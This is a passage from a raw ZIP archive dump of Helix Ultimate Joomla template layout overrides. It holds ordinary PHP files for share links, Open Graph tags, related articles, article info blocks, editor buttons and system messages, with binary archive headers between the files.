					<a class="twitter" title="<?php echo Text::_('HELIX_ULTIMATE_SHARE_TWITTER'); ?>" onClick="window.open('http://twitter.com/share?url=<?php echo $url; ?>&amp;text=<?php echo str_replace(" ", "%20", $displayData->title); ?>','Twitter share','width=600,height=300,left='+(screen.availWidth/2-300)+',top='+(screen.availHeight/2-150)+''); return false;" href="http://twitter.com/share?url=<?php echo $url; ?>&amp;text=<?php echo str_replace(" ", "%20", $displayData->title); ?>">
						<span class="fab fa-twitter" aria-hidden="true"></span>
					</a>
				</li>
				<?php endif; ?>
				<?php if( $socialSite == 'linkedin'): ?>
					<li>
						<a class="linkedin" title="<?php echo Text::_('HELIX_ULTIMATE_SHARE_LINKEDIN'); ?>" onClick="window.open('http://www.linkedin.com/shareArticle?mini=true&url=<?php echo $url; ?>','Linkedin','width=585,height=666,left='+(screen.availWidth/2-292)+',top='+(screen.availHeight/2-333)+''); return false;" href="http://www.linkedin.com/shareArticle?mini=true&url=<?php echo $url; ?>" >
							<span class="fab fa-linkedin" aria-hidden="true"></span>
						</a>
					</li>
				<?php endif; ?>
			<?php endforeach; ?>
			</ul>
		</div>
	</div>
<?php endif; ?>
PK!�6�K��Ehelixultimate/overrides/layouts/joomla/content/categories_default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;

?>
<?php if ($displayData->params->get('show_page_heading')) : ?>
<h1>
	<?php echo $displayData->escape($displayData->params->get('page_heading')); ?>
</h1>
<?php endif; ?>

<?php if ($displayData->params->get('show_base_description')) : ?>
	<?php // If there is a description in the menu parameters use that; ?>
	<?php if ($displayData->params->get('categories_description')) : ?>
		<div class="category-desc base-desc">
			<?php echo HTMLHelper::_('content.prepare', $displayData->params->get('categories_description'), '',  $displayData->get('extension') . '.categories'); ?>
		</div>
	<?php else : ?>
		<?php // Otherwise get one from the database if it exists. ?>
		<?php if ($displayData->parent->description) : ?>
			<div class="category-desc base-desc">
				<?php echo HTMLHelper::_('content.prepare', $displayData->parent->description, '', $displayData->parent->extension . '.categories'); ?>
			</div>
		<?php endif; ?>
	<?php endif; ?>
<?php endif; ?>
PK!�����Bhelixultimate/overrides/layouts/joomla/content/related_article.phpnu&1i�<?php 
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;

$item = $displayData;
$item->enableOpenGraph = false;
$params = $item->params;
$info = $params->get('info_block_position', 0);
$attribs = json_decode($item->attribs);
HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$article_format = (isset($attribs->helix_ultimate_article_format) && $attribs->helix_ultimate_article_format) ? $attribs->helix_ultimate_article_format : 'standard';
?>
<div class="article">
    <?php if($article_format === 'gallery') : ?>
        <?php echo LayoutHelper::render('joomla.content.blog.gallery', array('attribs' => $attribs, 'id' => $item->id)); ?>
    <?php elseif($article_format === 'video') : ?>
        <?php echo LayoutHelper::render('joomla.content.blog.video', array('attribs' => $attribs)); ?>
    <?php elseif($article_format === 'audio') : ?>
        <?php echo LayoutHelper::render('joomla.content.blog.audio', array('attribs' => $attribs)); ?>
    <?php else: ?>
        <?php echo LayoutHelper::render('joomla.content.full_image', $item); ?>
    <?php endif; ?>

    <?php echo LayoutHelper::render('joomla.content.blog_style_default_item_title', $item); ?>

    <div class="article-info">
        <?php if ($params->get('show_author') && !empty($item->author )) : ?>
            <?php echo LayoutHelper::render('joomla.content.info_block.author', array('item' => $item, 'params' => $params,'articleView'=>'intro')); ?>
        <?php endif; ?>
        <?php if ($params->get('show_publish_date')) : ?>
            <?php echo LayoutHelper::render('joomla.content.info_block.publish_date', array('item' => $item, 'params' => $params,'articleView'=>'intro')); ?>
        <?php endif; ?>
    </div>        
</div>PK!F����;helixultimate/overrides/layouts/joomla/content/readmore.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$params    = $displayData['params'];
$item      = $displayData['item'];
$direction = Factory::getLanguage()->isRtl() ? 'left' : 'right';
?>

<div class="readmore">
	<?php if (!$params->get('access-view')) : ?>
		<a href="<?php echo $displayData['link']; ?>" itemprop="url" aria-label="<?php echo Text::_('COM_CONTENT_REGISTER_TO_READ_MORE'); ?>
			<?php echo htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8'); ?>">
			<?php echo Text::_('COM_CONTENT_REGISTER_TO_READ_MORE'); ?>
		</a>
	<?php elseif ($readmore = $item->alternative_readmore) : ?>
		<a href="<?php echo $displayData['link']; ?>" itemprop="url" aria-label="<?php echo htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8'); ?>">
			<?php echo $readmore; ?>
			<?php if ($params->get('show_readmore_title', 0) != 0) : ?>
				<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
			<?php endif; ?>
		</a>
	<?php elseif ($params->get('show_readmore_title', 0) == 0) : ?>
		<a href="<?php echo $displayData['link']; ?>" itemprop="url" aria-label="<?php echo Text::_('COM_CONTENT_READ_MORE'); ?> <?php echo htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8'); ?>">
			<?php echo JVERSION < 4 ? Text::sprintf('COM_CONTENT_READ_MORE_TITLE') : Text::_('JGLOBAL_READ_MORE'); ?>
		</a>
	<?php else : ?>
		<a href="<?php echo $displayData['link']; ?>" itemprop="url" aria-label="<?php echo Text::_('COM_CONTENT_READ_MORE'); ?> <?php echo htmlspecialchars($item->title, ENT_QUOTES, 'UTF-8'); ?>">
			<?php echo Text::_('COM_CONTENT_READ_MORE'); ?>
			<?php echo HTMLHelper::_('string.truncate', $item->title, $params->get('readmore_limit')); ?>
		</a>
	<?php endif; ?>
</div>
PK!z���=helixultimate/overrides/layouts/joomla/content/open_graph.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Uri\Uri;

extract($displayData);

$doc = Factory::getDocument();
$config = Factory::getConfig();
$sitename = $config->get('sitename');

// Facebook
$doc->addCustomTag('<meta property="og:type" content="article" />');
$doc->addCustomTag('<meta property="og:url" content="'. Uri::current() . '" />');
$doc->addCustomTag('<meta property="og:title" content="'. htmlspecialchars($title ) .'" />');
$doc->addCustomTag('<meta property="og:description" content="'. HTMLHelper::_('string.truncate', (strip_tags($content)), 150) .'" />');

if(isset($image) && $image)
{
    $doc->addCustomTag('<meta property="og:image" content="'. Uri::root().ltrim($image, '/') .'" />');
}

if(isset($fb_app_id) && $fb_app_id)
{
    $doc->addCustomTag('<meta property="fb:app_id" content="'. (int) $fb_app_id . '" />');
}

$doc->addCustomTag('<meta property="og:site_name" content="'. htmlspecialchars($sitename) .'" />');

// Twitter
$doc->addCustomTag('<meta name="twitter:description" content="'. HTMLHelper::_('string.truncate', (strip_tags($content)), 150) .'" />');

if(isset($image) && $image)
{
    $doc->addCustomTag('<meta name="twitter:image:src" content="'. Uri::root().ltrim($image, '/') .'" />');
}

if(isset($twitter_site) && $twitter_site)
{
    $doc->addCustomTag('<meta name="twitter:site" content="@'. htmlspecialchars($twitter_site) .'" />');
}

$doc->addCustomTag('<meta name="twitter:card" content="summary_large_image" />');PK!b9��Bhelixultimate/overrides/layouts/joomla/content/options_default.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Form\FormHelper;

?>

<fieldset class="<?php echo !empty($displayData->formclass) ? $displayData->formclass : ''; ?>">
	<legend><?php echo $displayData->name; ?></legend>
	<?php if (!empty($displayData->description)) : ?>
		<p><?php echo $displayData->description; ?></p>
	<?php endif; ?>
	<?php $fieldsnames = explode(',', $displayData->fieldsname); ?>
	<?php foreach ($fieldsnames as $fieldname) : ?>
    	<?php foreach ($displayData->form->getFieldset($fieldname) as $field) : ?>
        	<?php $datashowon = ''; ?>
        	<?php $groupClass = $field->type === 'Spacer' ? ' field-spacer' : ''; ?>
            <?php if ($field->showon) : ?>
                <?php HTMLHelper::_('jquery.framework'); ?>
                <?php HTMLHelper::_('script', 'system/cms.min.js', array('version' => 'auto', 'relative' => true)); ?>
                <?php $datashowon = ' data-showon=\'' . json_encode(FormHelper::parseShowOnConditions($field->showon, $field->formControl, $field->group)) . '\''; ?>
            <?php endif; ?>
            <div class="control-group<?php echo $groupClass; ?>"<?php echo $datashowon; ?>>
				<?php if (!isset($displayData->showlabel) || $displayData->showlabel) : ?>
					<div class="control-label"><?php echo $field->label; ?></div>
				<?php endif; ?>
				<div class="controls"><?php echo $field->input; ?></div>
			</div>
		<?php endforeach; ?>
	<?php endforeach; ?>
</fieldset>
PK!�UZ���Chelixultimate/overrides/layouts/joomla/content/related_articles.phpnu&1i�
<?php 
defined ('JPATH_BASE') or die();

use Joomla\CMS\Layout\LayoutHelper;
$articles = $displayData['articles'];
$mainItem = $displayData['item'];
$template = HelixUltimate\Framework\Platform\Helper::loadTemplateData();
$tmpl_params = $template->params;
?>
<div class="related-article-list-container">
	<h3 class="related-article-title"> <?php echo $tmpl_params->get('related_article_title'); ?> </h3>

	<?php if( $tmpl_params->get('related_article_view_type') === 'thumb' ): ?> 
		<div class="article-list related-article-list">
			<div class="row">
				<?php foreach( $articles as $item ): ?> 
					<div class="col-lg-<?php echo round(12 / $mainItem->params->get('num_columns')); ?>">            
						<?php echo LayoutHelper::render('joomla.content.related_article', $item); ?>
					</div>
				<?php endforeach; ?>
			</div>
		</div>
	<?php endif; ?>

	<?php if( $tmpl_params->get('related_article_view_type') === 'list' ): ?> 
		<ul class="article-list related-article-list">
			<?php foreach( $articles as $item ): ?> 
				<li class="related-article-list-item">     
					<?php echo LayoutHelper::render('joomla.content.blog_style_default_item_title', $item); ?>
					<?php echo LayoutHelper::render('joomla.content.info_block.publish_date', array('item' => $item, 'params' => $item->params,'articleView'=>'intro')); ?>
				</li>
			<?php endforeach; ?>
		</ul>
	<?php endif; ?>

	<?php if( $tmpl_params->get('related_article_view_type') === 'large' ): ?> 
		<div class="article-list related-article-list">
			<?php foreach( $articles as $item ): ?> 
				<div class="row">
					<div class="col-12">
						<?php echo LayoutHelper::render('joomla.content.related_article_large', $item); ?>
					</div>  
				</div>
			<?php endforeach; ?>
		</div>
	<?php endif; ?>
</div>PK!!�%AA?helixultimate/overrides/layouts/joomla/content/text_filters.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();
?>

<fieldset class="<?php echo !empty($displayData->formclass) ? $displayData->formclass : 'form-horizontal'; ?>">
	<legend><?php echo $displayData->name; ?></legend>
	<?php if (!empty($displayData->description)) : ?>
		<p><?php echo $displayData->description; ?></p>
	<?php endif; ?>
	<?php $fieldsnames = explode(',', $displayData->fieldsname); ?>
	<?php foreach ($fieldsnames as $fieldname) : ?>
		<?php foreach ($displayData->form->getFieldset($fieldname) as $field) : ?>
			<div><?php echo $field->input; ?></div>
		<?php endforeach; ?>
	<?php endforeach; ?>
</fieldset>
PK!�B��7helixultimate/overrides/layouts/joomla/content/tags.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\Registry\Registry;

if (JVERSION < 4)
{
	JLoader::register('TagsHelperRoute', JPATH_BASE . '/components/com_tags/helpers/route.php');
}

$authorised = Factory::getUser()->getAuthorisedViewLevels();

?>
<?php if (!empty($displayData)) : ?>
	<ul class="tags mb-4">
		<?php foreach ($displayData as $i => $tag) : ?>
			<?php if (in_array($tag->access, $authorised)) : ?>
				<?php $tagParams = new Registry($tag->params); ?>
				<?php $link_class = $tagParams->get('tag_link_class', ''); ?>
				<li class="tag-<?php echo $tag->tag_id; ?> tag-list<?php echo $i; ?>" itemprop="keywords">
					<a href="<?php echo Route::_(JVERSION < 4 ? TagsHelperRoute::getTagRoute($tag->tag_id . ':' . $tag->alias) : Joomla\Component\Tags\Site\Helper\RouteHelper::getTagRoute($tag->tag_id . ':' . $tag->alias)); ?>" class="<?php echo $link_class; ?>">
						<?php echo $this->escape($tag->title); ?>
					</a>
				</li>
			<?php endif; ?>
		<?php endforeach; ?>
	</ul>
<?php endif; ?>
PK!N8ni?helixultimate/overrides/layouts/joomla/content/associations.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

$items = $displayData;

if (!empty($items)) : ?>
	<ul class="item-associations">
		<?php foreach ($items as $id => $item) : ?>
			<li>
				<?php echo is_array($item) ? $item['link'] : $item->link; ?>
			</li>
		<?php endforeach; ?>
	</ul>
<?php endif; ?>
PK!n˓(��;helixultimate/overrides/layouts/joomla/content/language.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$item = $displayData;

if ($item->language === '*')
{
	echo Text::alt('JALL', 'language');
}
elseif ($item->language_image)
{
	echo HTMLHelper::_('image', 'mod_languages/' . $item->language_image . '.gif', '', null, true) . '&nbsp;' . htmlspecialchars($item->language_title, ENT_COMPAT, 'UTF-8');
}
elseif ($item->language_title)
{
	echo htmlspecialchars($item->language_title, ENT_COMPAT, 'UTF-8');
}
else
{
	echo Text::_('JUNDEFINED');
}
PK!�q+DDJhelixultimate/overrides/layouts/joomla/content/info_block/publish_date.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
$articleView = $displayData['articleView'];
?>
<span class="published" title="<?php echo Text::sprintf('COM_CONTENT_PUBLISHED_DATE_ON', HTMLHelper::_('date', $displayData['item']->publish_up, Text::_('DATE_FORMAT_LC3'))); ?>">
	<time datetime="<?php echo HTMLHelper::_('date', $displayData['item']->publish_up, 'c'); ?>"<?php echo ($articleView == 'details') ? ' itemprop="datePublished"' : ''; ?>>
		<?php echo HTMLHelper::_('date', $displayData['item']->publish_up, Text::_('DATE_FORMAT_LC3')); ?>
	</time>
</span>
PK!F	-�ooIhelixultimate/overrides/layouts/joomla/content/info_block/modify_date.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

?>
<span class="modified">
	<time datetime="<?php echo HTMLHelper::_('date', $displayData['item']->modified, 'c'); ?>" itemprop="dateModified">
		<?php echo Text::sprintf('COM_CONTENT_LAST_UPDATED', HTMLHelper::_('date', $displayData['item']->modified, Text::_('DATE_FORMAT_LC3'))); ?>
	</time>
</span>
PK!�	.#44Ihelixultimate/overrides/layouts/joomla/content/info_block/create_date.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
$articleView = $displayData['articleView'];
?>
<span class="create" title="<?php echo Text::sprintf('COM_CONTENT_CREATED_DATE_ON', HTMLHelper::_('date', $displayData['item']->created, Text::_('DATE_FORMAT_LC3'))); ?>">
	<time datetime="<?php echo HTMLHelper::_('date', $displayData['item']->created, 'c'); ?>"<?php echo ($articleView == 'details') ? ' itemprop="dateCreated"' : ''; ?>>
		<?php echo HTMLHelper::_('date', $displayData['item']->created, Text::_('DATE_FORMAT_LC3')); ?>
	</time>
</span>
PK!tE���Bhelixultimate/overrides/layouts/joomla/content/info_block/hits.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;

?>
<span class="hits">
	<meta itemprop="interactionCount" content="UserPageVisits:<?php echo $displayData['item']->hits; ?>">
	<?php echo Text::sprintf('COM_CONTENT_ARTICLE_HITS', $displayData['item']->hits); ?>
</span>
PK!��b99Dhelixultimate/overrides/layouts/joomla/content/info_block/author.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$articleView = $displayData['articleView'];
$author = ($displayData['item']->created_by_alias ?: $displayData['item']->author);
?>
<span class="createdby"<?php echo ($articleView != 'intro') ? ' itemprop="author" itemscope itemtype="https://schema.org/Person"' : ''; ?> title="<?php echo Text::sprintf('COM_CONTENT_WRITTEN_BY', $author); ?>">
	<?php $author = '<span itemprop="name">' . $author . '</span>'; ?>
	<?php if (!empty($displayData['item']->contact_link ) && $displayData['params']->get('link_author') == true) : ?>
		<a href="<?php echo Route::_($displayData['item']->contact_link); ?>"<?php echo ($articleView != 'intro') ? ' itemprop="url"' : ''; ?>>
			<?php echo $author; ?>
		</a>
	<?php else : ?>
		<?php echo $author; ?>
	<?php endif; ?>
</span>
PK!8�1�33Jhelixultimate/overrides/layouts/joomla/content/info_block/associations.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>

<?php if (!empty($displayData['item']->associations)) : ?>
<?php $associations = $displayData['item']->associations; ?>
<span class="association">
	<?php echo Text::_('JASSOCIATIONS'); ?>
	<?php foreach ($associations as $association) : ?>
		<?php if ($displayData['item']->params->get('flags', 1) && $association['language']->image) : ?>
			<?php $flag = HTMLHelper::_('image', 'mod_languages/' . $association['language']->image . '.gif', $association['language']->title_native, array('title' => $association['language']->title_native), true); ?>
			&nbsp;<a href="<?php echo Route::_($association['item']); ?>"><?php echo $flag; ?></a>&nbsp;
		<?php else : ?>
			<?php $class = 'badge bg-secondary label-' . $association['language']->sef; ?>
			&nbsp;<a class="' . <?php echo $class; ?> . '" href="<?php echo Route::_($association['item']); ?>"><?php echo strtoupper($association['language']->sef); ?></a>&nbsp;
		<?php endif; ?>
	<?php endforeach; ?>
</span>
<?php endif; ?>
PK!��	H��Mhelixultimate/overrides/layouts/joomla/content/info_block/parent_category.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

?>
<span class="parent-category-name">
	<?php $title = $this->escape($displayData['item']->parent_title); ?>
	<?php if ($displayData['params']->get('link_parent_category') && !empty($displayData['item']->parent_slug)) : ?>
		<?php $url = '<a href="' . Route::_(ContentHelperRoute::getCategoryRoute($displayData['item']->parent_slug)) . '" itemprop="genre">' . $title . '</a>'; ?>
		<?php echo Text::sprintf('COM_CONTENT_PARENT', $url); ?>
	<?php else : ?>
		<?php echo Text::sprintf('COM_CONTENT_PARENT', '<span itemprop="genre">' . $title . '</span>'); ?>
	<?php endif; ?>
</span>
PK!0����Fhelixultimate/overrides/layouts/joomla/content/info_block/category.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('JPATH_BASE') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
$title = $this->escape($displayData['item']->category_title);

if (!isset($displayData['item']->catslug))
{
	$displayData['item']->catslug = $displayData['item']->catid . ':' . $displayData['item']->category_alias;
}

?>
<span class="category-name" title="<?php echo Text::sprintf('COM_CONTENT_CATEGORY', $title); ?>">
	<?php if ($displayData['params']->get('link_category') && $displayData['item']->catslug) : ?>
		<a href="<?php echo Route::_(ContentHelperRoute::getCategoryRoute($displayData['item']->catslug)); ?>"><?php echo $title; ?></a>
	<?php else : ?>
		<?php echo $title; ?>
	<?php endif; ?>
</span>
PK!���22Hhelixultimate/overrides/layouts/joomla/content/related_article_large.phpnu&1i�<?php 
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

$item = $displayData;
$params = $item->params;
$info = $params->get('info_block_position', 0);
$attribs = json_decode($item->attribs);
HTMLHelper::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$article_format = (isset($attribs->helix_ultimate_article_format) && $attribs->helix_ultimate_article_format)
	? $attribs->helix_ultimate_article_format
	: 'standard';

?>
<div class="article related-article-large d-flex">
	<div class="article-image">
		<?php if($article_format === 'gallery') : ?>
			<?php echo LayoutHelper::render('joomla.content.blog.gallery', array('attribs' => $attribs, 'id' => $item->id)); ?>
		<?php elseif($article_format === 'video') : ?>
			<?php echo LayoutHelper::render('joomla.content.blog.video', array('attribs' => $attribs)); ?>
		<?php elseif($article_format === 'audio') : ?>
			<?php echo LayoutHelper::render('joomla.content.blog.audio', array('attribs' => $attribs)); ?>
		<?php else: ?>
			<?php echo LayoutHelper::render('joomla.content.full_image', $item); ?>
		<?php endif; ?>
	</div>

	<div class="article-information">
		<?php echo LayoutHelper::render('joomla.content.blog_style_default_item_title', $item); ?>

		<?php if ($params->get('show_author') && !empty($item->author )) : ?>
			<?php echo LayoutHelper::render('joomla.content.info_block.author', array('item' => $item, 'params' => $params,'articleView'=>'intro')); ?>
		<?php endif; ?>
		<?php if ($params->get('show_publish_date')) : ?>
			<?php echo LayoutHelper::render('joomla.content.info_block.publish_date', array('item' => $item, 'params' => $params,'articleView'=>'intro')); ?>
		<?php endif; ?>

		<?php if ($item->introtext): ?>
			<div class="intro-text">
				<?php echo $item->introtext; ?>
			</div>
		<?php endif ?>

		<a href="<?php echo Route::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); ?>" class="btn btn-outline-secondary btn-sm"><?php echo Text::_('HELIX_ULTIMATE_READ_MORE') ?></a>
	</div>
</div>PK!y��mmAhelixultimate/overrides/layouts/joomla/tinymce/buttons/button.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Layout\LayoutHelper;

echo LayoutHelper::render('joomla.editors.buttons.button', $displayData);
PK!޲@���?helixultimate/overrides/layouts/joomla/tinymce/togglebutton.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Language\Text;

$name = $displayData;

?>
<div class="toggle-editor btn-toolbar float-end clearfix mt-3">
	<div class="btn-group">
		<a class="btn btn-secondary" href="#"
			onclick="tinyMCE.execCommand('mceToggleEditor', false, '<?php echo $name; ?>');return false;"
			title="<?php echo Text::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?>"
		>
			<span class="icon-eye" aria-hidden="true"></span> <?php echo Text::_('PLG_TINY_BUTTON_TOGGLE_EDITOR'); ?>
		</a>
	</div>
</div>PK!"���;helixultimate/overrides/layouts/joomla/tinymce/textarea.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;

$data = $displayData;

if (JVERSION < 4)
{
	$doc = Factory::getDocument();
	$doc->addStylesheet(Uri::root(true) . '/plugins/system/helixultimate/assets/css/icomoon.css');
}

?>
<textarea
	name="<?php echo $data->name; ?>"
	id="<?php echo $data->id; ?>"
	cols="<?php echo $data->cols; ?>"
	rows="<?php echo $data->rows; ?>"
	style="width: <?php echo $data->width; ?>; height: <?php echo $data->height; ?>;"
	class="<?php echo empty($data->class) ? 'mce_editable form-control' : 'form-control ' . $data->class; ?>"
	<?php echo $data->readonly ? ' readonly disabled' : ''; ?>
>
	<?php echo $data->content; ?>
</textarea>
PK!Z���JJ9helixultimate/overrides/layouts/joomla/system/message.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

if(JVERSION >= 4) {
	/* @var $displayData array */
	$msgList   = $displayData['msgList'];
	$document  = Factory::getDocument();
	$msgOutput = '';
	$alert     = [
		CMSApplication::MSG_EMERGENCY => 'danger',
		CMSApplication::MSG_ALERT     => 'danger',
		CMSApplication::MSG_CRITICAL  => 'danger',
		CMSApplication::MSG_ERROR     => 'danger',
		CMSApplication::MSG_WARNING   => 'warning',
		CMSApplication::MSG_NOTICE    => 'info',
		CMSApplication::MSG_INFO      => 'info',
		CMSApplication::MSG_DEBUG     => 'info',
		'message'                     => 'success'
	];

	// Load JavaScript message titles
	Text::script('ERROR');
	Text::script('MESSAGE');
	Text::script('NOTICE');
	Text::script('WARNING');

	// Load other Javascript message strings
	Text::script('JCLOSE');
	Text::script('JOK');
	Text::script('JOPEN');

	// Alerts progressive enhancement
	$document->getWebAssetManager()
		->useStyle('webcomponent.joomla-alert')
		->useScript('messages');

	if (is_array($msgList) && !empty($msgList))
	{
		$messages = [];

		foreach ($msgList as $type => $msgs)
		{
			// JS loaded messages
			$messages[] = [$alert[$type] ?? $type => $msgs];
			// Noscript fallback
			if (!empty($msgs)) {
				$msgOutput .= '<div class="alert alert-' . ($alert[$type] ?? $type) . '">';
				foreach ($msgs as $msg) :
					$msgOutput .= $msg;
				endforeach;
				$msgOutput .= '</div>';
			}
		}

		if ($msgOutput !== '')
		{
			$msgOutput = '<noscript>' . $msgOutput . '</noscript>';
		}

		$document->addScriptOptions('joomla.messages', $messages);
	}
} else {
	$msgList = $displayData['msgList'];
	
	$alert = [
		'message' => 'alert-primary',
		'error' => 'alert-danger',
		'warning' => 'alert-warning',
		'notice' => 'alert-info',
		'info' => 'alert-info',
		'debug' => 'alert-warning',
		'success' => 'alert-success'
	];
}


?>
<div id="system-message-container" aria-live="polite">
	<?php 
	if (JVERSION >= 4){
		echo $msgOutput; 
	} else { ?>
	<?php if (is_array($msgList) && !empty($msgList)) : ?>
		<div id="system-message">
			<?php foreach ($msgList as $type => $msgs) : ?>
				<?php $type = \in_array($type, array_keys($alert)) ? $type : 'message'; ?>
				<div class="alert <?php echo isset($alert[$type]) ? $alert[$type] : 'alert-' . $type; ?>">
					<?php // This requires JS so we should add it trough JS. Progressive enhancement and stuff. ?>
